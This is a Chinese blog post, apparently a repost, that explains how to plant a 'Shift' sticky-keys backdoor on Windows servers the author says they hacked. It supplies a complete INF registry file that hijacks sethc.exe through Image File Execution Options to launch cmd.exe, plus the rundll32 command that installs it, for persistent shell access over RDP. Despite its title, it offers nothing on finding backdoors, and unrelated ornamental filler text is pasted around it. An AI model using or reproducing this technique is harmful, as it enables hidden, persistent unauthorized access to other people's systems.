添加SHIFT后门又一法 学习如何查找后门

别裁伪体亲风雅,转益多师是汝师。海浪为劈风斩浪的航船饯行,为随波逐流的轻舟送葬。山路不象坦途那样匍匐在人们足下。如果圆规的两只脚都动,永远也画不出一个圆。如果你想攀登高峰,切莫把彩虹当作梯子。晚安!
前几天搞了几个网站,之前搞的站一般不留后门,其实基本留了都被删除了,这次下决心要搞个shift后门留着自己用的,秒杀给你介绍一个方法!

将下面的代码保存成inf文件

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution options\sethc.exe,debugger,0x00000000,c:\windows\system32\cmd.exe

然后上传到一个可以执行目录,比如我这里上传到c:\windows\temp\i.inf 然后在命令行执行

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\windows\temp\i.inf

然后远程登录3389,按5下shift即可跳出cmd.exe

为什么要命令行?隐蔽性?大家自行掂量

转载:秒杀博客

到此这篇关于添加SHIFT后门又一法 学习如何查找后门就介绍到这了。股股清泉,汩汩泓流,用时代的华表为之献彰,用岁月的琉璃为之屏障,用时空的玲珑为之图章。更多相关添加SHIFT后门又一法 学习如何查找后门内容请查看相关栏目,小编编辑不易,再次感谢大家的支持!

您可能有感兴趣的文章
shift后门批处理代码与shift后门清除方法分享

你的网站为什么被黑?原因大部分是后门backdoor脚本

什么是CC攻击 判断网站是否被CC攻击并且如何防御CC攻击

Windows系统安全风险-本地NTLM重放提权